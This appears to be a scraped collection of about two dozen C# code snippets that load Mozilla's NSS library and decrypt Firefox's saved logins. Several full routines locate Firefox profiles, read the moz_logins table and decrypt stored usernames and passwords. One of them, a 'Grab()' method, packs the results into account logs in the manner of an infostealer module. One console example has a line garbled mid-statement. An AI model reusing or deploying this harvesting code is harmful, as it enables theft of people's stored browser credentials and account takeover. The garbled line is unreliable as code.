示例#1
0
        private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
        {
            IntPtr             pProc = NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt");
            PK11SDR_DecryptPtr ptr   = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));

            return(ptr(ref data, ref result, cx));
        }
示例#2
0
        private static int SECItem_FreeItem(ref TSECItem item, bool freeItem)
        {
            IntPtr pProc             = GetProcAddress(NSS3.ToInt32(), "SECItem_FreeItem");
            DLLFunctionDelegate7 dll = (DLLFunctionDelegate7)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate7));

            return(dll(ref item, freeItem));
        }
示例#3
0
    private static string decrypt(string S)
    {
        TSECItem tSECItem = default(TSECItem);

        NSS_Init(FFProfile);
        long num = PK11_GetInternalKeySlot();

        if (num == 0L)
        {
            return(string.Empty);
        }
        PK11_Authenticate(num, true, 0L);
        int      value     = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, S, S.Length);
        TSECItem tSECItem2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(TSECItem));

        if (PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0) != 0)
        {
            return(string.Empty);
        }
        if (tSECItem.SECItemLen != 0)
        {
            byte[] array = new byte[tSECItem.SECItemLen];
            Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
            return(Encoding.ASCII.GetString(array));
        }
        return(string.Empty);
    }
示例#4
0
        private static string Decrypt(string value)
        {
            new TSECItem();
            TSECItem tSecDec = new TSECItem();

            byte[] bvRet;

            StringBuilder se     = new StringBuilder(value);
            int           tValue = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);

            if (tValue != 0)
            {
                TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(tValue), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                        return(Encoding.ASCII.GetString(bvRet));
                    }
                }
                SECItem_FreeItem(ref item, true);
            }
            return(string.Empty);
        }
示例#5
0
        public static string Decrypt(string CipherText)
        {
            StringBuilder CipherBuilder = new StringBuilder(CipherText);

            new TSECItem();
            TSECItem tSecDec = new TSECItem();

            byte[] bvRet;
            long   KeySlot = 0;

            KeySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(KeySlot, true, 0);

            int      hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, CipherBuilder, CipherBuilder.Length);
            TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));

            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    return(Encoding.ASCII.GetString(bvRet));
                }
                return("Error");
            }
            else
            {
                return("Error");
            }
        }
示例#6
0
        public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
        {
            IntPtr pProc             = GetProcAddress(NSS3, "PK11SDR_Decrypt");
            DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));

            return(dll(ref data, ref result, cx));
        }
示例#7
0
            public static string Decrypt(string cypherText)
            {
                StringBuilder inStr  = new StringBuilder(cypherText);
                int           num    = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length);
                TSECItem      result = new TSECItem();
                TSECItem      data   = (TSECItem)Marshal.PtrToStructure(new IntPtr(num), typeof(TSECItem));

                if ((PK11SDR_Decrypt(ref data, ref result, 0) == 0) && (result.SECItemLen != 0))
                {
                    byte[] destination = new byte[result.SECItemLen];
                    Marshal.Copy(new IntPtr(result.SECItemData), destination, 0, result.SECItemLen);
                    return(Encoding.ASCII.GetString(destination));
                }
                return(null);
            }
示例#8
0
        private static string Decrypt(string cypherText)
        {
            StringBuilder sb      = new StringBuilder(cypherText);
            int           hi2     = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
            TSECItem      tSecDec = new TSECItem();
            TSECItem      item    = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));

            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    byte[] bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    return(Encoding.UTF8.GetString(bvRet));
                }
            }
            return(null);
        }
示例#9
0
    public static object mozDecryptString(string str)
    {
        object obj2;

        try
        {
            StringBuilder inStr  = new StringBuilder(str);
            int           num    = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length);
            TSECItem      result = new TSECItem();
            IntPtr        ptr    = new IntPtr(num);
            TSECItem      data   = (TSECItem)Marshal.PtrToStructure(ptr, typeof(TSECItem));
            if ((PK11SDR_Decrypt(ref data, ref result, 0) == 0) && (result.SECItemLen != 0))
            {
                object   objectValue = new byte[(result.SECItemLen - 1) + 1];
                object[] objArray    = new object[4];
                ptr         = new IntPtr(result.SECItemData);
                objArray[0] = ptr;
                objArray[1] = RuntimeHelpers.GetObjectValue(objectValue);
                objArray[2] = 0;
                objArray[3] = result.SECItemLen;
                object[] arguments = objArray;
                bool[]   copyBack  = new bool[] { false, true, false, true };
                NewLateBinding.LateCall(null, typeof(Marshal), "Copy", arguments, null, null, copyBack, true);
                if (copyBack[1])
                {
                    objectValue = RuntimeHelpers.GetObjectValue(arguments[1]);
                }
                if (copyBack[3])
                {
                    result.SECItemLen = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments[3]), typeof(int));
                }
                return(Encoding.UTF8.GetString((byte[])objectValue));
            }
            obj2 = string.Empty;
        }
        catch (Exception exception1)
        {
            ProjectData.SetProjectError(exception1);
            obj2 = "No Data!";
            ProjectData.ClearProjectError();
        }
        return(obj2);
    }
示例#10
0
        static string DecryptData(string input)
        {
            byte[]        bvRet;
            TSECItem      tSec = new TSECItem();
            StringBuilder se   = new StringBuilder(input);
            int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
            TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));

            if (PK11SDR_Decrypt(ref item, ref tSec, 0) == 0)
            {
                if (tSec.SECItemLen != 0)
                {
                    bvRet = new byte[tSec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSec.SECItemData), bvRet, 0, tSec.SECItemLen);
                    return(System.Text.Encoding.UTF8.GetString(bvRet));
                }
            }
            return(null);
        }
示例#11
0
        public static string Decrypt(string cypherText)
        {
            IntPtr        ffDataUnmanagedPointer = IntPtr.Zero;
            StringBuilder sb = new StringBuilder(cypherText);

            try
            {
                byte[] ffData = Convert.FromBase64String(cypherText);

                ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
                Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);

                TSECItem tSecDec = new TSECItem();
                TSECItem item    = new TSECItem();
                item.SECItemType = 0;
                item.SECItemData = ffDataUnmanagedPointer;
                item.SECItemLen  = ffData.Length;

                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SECItemLen != 0)
                    {
                        byte[] bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
                        return(Encoding.ASCII.GetString(bvRet));
                    }
                }
            }
            catch (Exception ex)
            {
                return(null);
            }
            finally
            {
                if (ffDataUnmanagedPointer != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(ffDataUnmanagedPointer);
                }
            }

            return(null);
        }
示例#12
0
    public List <string[]> GetFirefoxPass(string masterPass = "")
    {
        List <string[]> entries     = new List <string[]>();
        bool            FoundFile   = false;
        long            KeySlot     = 0;
        string          MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
        string          DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";

        string[] Dirs = Directory.GetDirectories(DefaultPath);
        foreach (string dir in Dirs)
        {
            if (!FoundFile)
            {
                string[] Files = Directory.GetFiles(dir);
                foreach (string CurrFile in Files)
                {
                    if (!FoundFile)
                    {
                        if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                        {
                            NSS_Init(dir);
                            signon = CurrFile;
                        }
                    }

                    else
                    {
                        break;
                    }
                }
            }
            else
            {
                break;
            }
        }

        string   dataSource = signon;
        TSECItem tSecDec    = new TSECItem();
        TSECItem tSecDec2   = new TSECItem();

        byte[] bvRet;

        string firefoxCookiePath = GetFirefoxPasswordsPath();

        DataTable table = GetSQLiteData("SELECT * FROM moz_logins", firefoxCookiePath);

        KeySlot = PK11_GetInternalKeySlot();
        PK11_Authenticate(KeySlot, true, 0);
        foreach (System.Data.DataRow row in table.Rows)
        {
            string[] entry   = new string[3];
            string   formurl = System.Convert.ToString(row["formSubmitURL"].ToString());
            entry[0] = formurl;
            StringBuilder se   = new StringBuilder(row["encryptedUsername"].ToString());
            int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
            TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    entry[1] = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            StringBuilder se2   = new StringBuilder(row["encryptedPassword"].ToString());
            int           hi22  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
            TSECItem      item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
            {
                if (tSecDec2.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec2.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                    entry[2] = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            entries.Add(entry);
        }
        return(entries);
    }
示例#13
0
        public static List<PasswordInfo> GetFirefoxPasswords()
        {
            if ((IntPtr.Size * 8) == 64)
                return new List<PasswordInfo>();


            bool FoundFile = false;
            long KeySlot = 0;
            string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
            string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
            string[] Dirs = Directory.GetDirectories(DefaultPath);
            foreach (string dir in Dirs)
            {
                if (!FoundFile)
                {
                    string[] Files = Directory.GetFiles(dir);
                    foreach (string CurrFile in Files)
                    {
                        if (!FoundFile)
                        {
                            if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                            {
                                NSS_Init(dir);
                                signon = CurrFile;
                            }
                        }
                        else
                            break;
                    }
                }
                else
                    break;
            }

            string dataSource = signon;
            TSECItem tSecDec = new TSECItem();
            TSECItem tSecDec2 = new TSECItem();
            byte[] bvRet;
            SQLiteBase db = new SQLiteBase(dataSource);

            DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
            DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");

            KeySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(KeySlot, true, 0);

            List<PasswordInfo> passwords = new List<PasswordInfo>();
            foreach (System.Data.DataRow Zeile in table.Rows)
            {
                PasswordInfo info = new PasswordInfo();
                info.URL = System.Convert.ToString(Zeile["formSubmitURL"].ToString());

                StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
                int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                        info.Username = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }
                StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
                int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                {
                    if (tSecDec2.SECItemLen != 0)
                    {
                        bvRet = new byte[tSecDec2.SECItemLen];
                        Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                        info.Password = System.Text.Encoding.ASCII.GetString(bvRet);
                    }
                }

                passwords.Add(info);
            }
            return passwords;
        }
示例#14
0
            private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
            {
                PK11SDR_DecryptPtr delegateForFunctionPointer = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(GetProcAddress(_nss3DllPtr, "PK11SDR_Decrypt"), typeof(PK11SDR_DecryptPtr));

                return(delegateForFunctionPointer(ref data, ref result, cx));
            }
示例#15
0
        public List <ILog> Grab()
        {
            List <ILog> logs = new List <ILog>();

            if (Check())
            {
                try
                {
                    long KeySlot = 0;

                    string                dataSource = signon;
                    TSECItem              tSecDec    = new TSECItem();
                    TSECItem              tSecDec2   = new TSECItem();
                    AccountLog            accountLog = new AccountLog();
                    byte[]                bvRet      = null;
                    SQLiteBase5           db         = new SQLiteBase5(dataSource);
                    string                ff         = null;
                    System.Data.DataTable table      = db.ExecuteQuery("SELECT * FROM moz_logins;");
                    System.Data.DataTable table2     = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
                    foreach (System.Data.DataRow row in table2.Rows)
                    {
                    }
                    KeySlot = PK11_GetInternalKeySlot();
                    PK11_Authenticate(KeySlot, true, 0);

                    foreach (System.Data.DataRow Zeile in table.Rows)
                    {
                        string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString());
                        if (!string.IsNullOrEmpty(formurl))
                        {
                            accountLog.SetService(formurl);
                        }

                        StringBuilder se   = new StringBuilder(Zeile["encryptedUsername"].ToString());
                        int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                        TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                        if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                        {
                            if (tSecDec.SECItemLen != 0)
                            {
                                bvRet = new byte[tSecDec.SECItemLen];
                                Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                                accountLog.SetLogin(System.Text.Encoding.ASCII.GetString(bvRet));
                            }
                        }

                        StringBuilder se2   = new StringBuilder(Zeile["encryptedPassword"].ToString());
                        int           hi22  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                        TSECItem      item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                        if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                        {
                            if (tSecDec2.SECItemLen != 0)
                            {
                                bvRet = new byte[tSecDec2.SECItemLen];
                                Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                                accountLog.SetPassword(System.Text.Encoding.ASCII.GetString(bvRet));
                            }
                        }
                    }
                    logs.Add(accountLog);
                }
                catch (Exception)
                {
                }
            }

            return(logs);
        }
    public List<string[]> GetFirefoxPass(string masterPass = "")
    {
        List<string[]> entries = new List<string[]>();
        bool FoundFile = false;
        long KeySlot = 0;
        string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
        string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
        string[] Dirs = Directory.GetDirectories(DefaultPath);
        foreach (string dir in Dirs)
        {
            if (!FoundFile)
            {
                string[] Files = Directory.GetFiles(dir);
                foreach (string CurrFile in Files)
                {
                    if (!FoundFile)
                    {
                        if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                        {
                            NSS_Init(dir);
                            signon = CurrFile;
                        }
                    }

                    else
                    {
                        break;
                    }
                }
            }
            else
            {
                break;
            }
        }

        string dataSource = signon;
        TSECItem tSecDec = new TSECItem();
        TSECItem tSecDec2 = new TSECItem();
        byte[] bvRet;

        string firefoxCookiePath = GetFirefoxPasswordsPath();

        DataTable table = GetSQLiteData("SELECT * FROM moz_logins", firefoxCookiePath);
        KeySlot = PK11_GetInternalKeySlot();
        PK11_Authenticate(KeySlot, true, 0);
        foreach (System.Data.DataRow row in table.Rows)
        {
            string[] entry = new string[3];
            string formurl = System.Convert.ToString(row["formSubmitURL"].ToString());
            entry[0] = formurl;
            StringBuilder se = new StringBuilder(row["encryptedUsername"].ToString());
            int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
            TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    entry[1] = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            StringBuilder se2 = new StringBuilder(row["encryptedPassword"].ToString());
            int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
            TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
            {
                if (tSecDec2.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec2.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                    entry[2] = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            entries.Add(entry);
        }
        return entries;
    }
 public int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
 {
     IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
     DLLFunctionDelegate5 dll = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
     return dll(ref data, ref result, cx);
 }
示例#18
0
 public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) =>
 CreateAPI <DLLFunctionDelegate5>(NSS3, "PK11SDR_Decrypt")(ref data, ref result, cx);
示例#19
0
 public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) =>
 ((PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(NativeMethods.GetProcAddress(_nssModule, "PK11SDR_Decrypt"), typeof(PK11SDR_DecryptPtr)))(ref data, ref result, cx);
示例#20
0
    public static List <PasswordInfo> GetFirefoxPasswords()
    {
        if ((IntPtr.Size * 8) == 64)
        {
            return(new List <PasswordInfo>());
        }
        bool   FoundFile   = false;
        long   KeySlot     = 0;
        string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\";
        string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";

        string[] Dirs = Directory.GetDirectories(DefaultPath);
        foreach (string dir in Dirs)
        {
            if (!FoundFile)
            {
                string[] Files = Directory.GetFiles(dir);
                foreach (string CurrFile in Files)
                {
                    if (!FoundFile)
                    {
                        if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                        {
                            NSS_Init(dir);
                            signon = CurrFile;
                        }
                    }
                    else
                    {
                        break;
                    }
                }
            }
            else
            {
                break;
            }
        }

        string   dataSource = signon;
        TSECItem tSecDec    = new TSECItem();
        TSECItem tSecDec2   = new TSECItem();

        byte[]     bvRet;
        SQLiteBase db     = new SQLiteBase(dataSource);
        DataTable  table  = db.ExecuteQuery("SELECT * FROM moz_logins;");
        DataTable  table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");

        KeySlot = PK11_GetInternalKeySlot();
        PK11_Authenticate(KeySlot, true, 0);
        List <PasswordInfo> passwords = new List <PasswordInfo>();

        foreach (System.Data.DataRow Zeile in table.Rows)
        {
            PasswordInfo info = new PasswordInfo();
            info.URL = System.Convert.ToString(Zeile["formSubmitURL"].ToString());

            StringBuilder se   = new StringBuilder(Zeile["encryptedUsername"].ToString());
            int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
            TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
            {
                if (tSecDec.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                    info.Username = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            StringBuilder se2   = new StringBuilder(Zeile["encryptedPassword"].ToString());
            int           hi22  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
            TSECItem      item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
            if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
            {
                if (tSecDec2.SECItemLen != 0)
                {
                    bvRet = new byte[tSecDec2.SECItemLen];
                    Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                    info.Password = System.Text.Encoding.ASCII.GetString(bvRet);
                }
            }
            passwords.Add(info);
        }
        return(passwords);
    }
示例#21
0
 private static string Decrypt(string cypherText)
 {
     StringBuilder sb = new StringBuilder(cypherText);
     int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
     TSECItem tSecDec = new TSECItem();
     TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
     if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
     {
         if (tSecDec.SECItemLen != 0)
         {
             byte[] bvRet = new byte[tSecDec.SECItemLen];
             Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
             return Encoding.UTF8.GetString(bvRet);
         }
     }
     return null;
 }
示例#22
0
 private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
 {
     IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt");
     PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
     return ptr(ref data, ref result, cx);
 }
示例#23
0
            static void Main(string[] args)
            {
                Console.WriteLine();
                bool   FoundFile   = false;
                long   KeySlot     = 0;
                string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla  Firefox\";
                string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";

                string[] Dirs = Directory.GetDirectories(DefaultPath);
                foreach (string dir in Dirs)
                {
                    if (!FoundFile)
                    {
                        string[] Files = Directory.GetFiles(dir);
                        foreach (string CurrFile in Files)
                        {
                            if (!FoundFile)
                            {
                                if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite"))
                                {
                                    NSS_Init(dir);
                                    signon = CurrFile;
                                }
                            }

                            else
                            {
                                break;
                            }
                        }
                    }
                    else
                    {
                        break;
                    }
                }

                string   dataSource = signon;
                TSECItem tSec       = new TSECItem();
                TSECItem tSecDec    = new TSECItem();
                TSECItem tSecDec2   = new TSECItem();

                byte[]     bvRet;
                SQLiteBase db = new SQLiteBase(dataSource);

                DataTable table  = db.ExecuteQuery("SELECT * FROM  moz_logins;");
                DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");

                Console.WriteLine("---Excluded hosts---");
                foreach (DataRow row in table2.Rows)
                {
                    Console.WriteLine(row["hostname"].ToString());
                }
                Console.WriteLine();
                Console.WriteLine();
                KeySlot = PK11_GetInternalKeySlot();
                PK11_Authenticate(KeySlot, true, 0);
                Console.WriteLine("---Saved Users &  Passwords---");
                foreach (System.Data.DataRow Zeile in table.Rows)
                {
                    string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString());
                    Console.WriteLine("URL: " + formurl);
                    StringBuilder se   = new StringBuilder(Zeile["encryptedUsername"].ToString());
                    int           hi2  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                    TSECItem      item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
                    if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                    {
                        if (tSecDec.SECItemLen != 0)
                        {
                            bvRet = new byte[tSecDec.SECItemLen];
                            Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
                            Console.WriteLine("USER: "******"encryptedPassword"].ToString());
                    int           hi22  = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                    TSECItem      item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
                    if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                    {
                        if (tSecDec2.SECItemLen != 0)
                        {
                            bvRet = new byte[tSecDec2.SECItemLen];
                            Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
                            Console.WriteLine("PASSWORD: " + System.Text.Encoding.ASCII.GetString(bvRet));
                        }
                    }
                    Console.WriteLine();
                }
                Console.ReadKey();
            }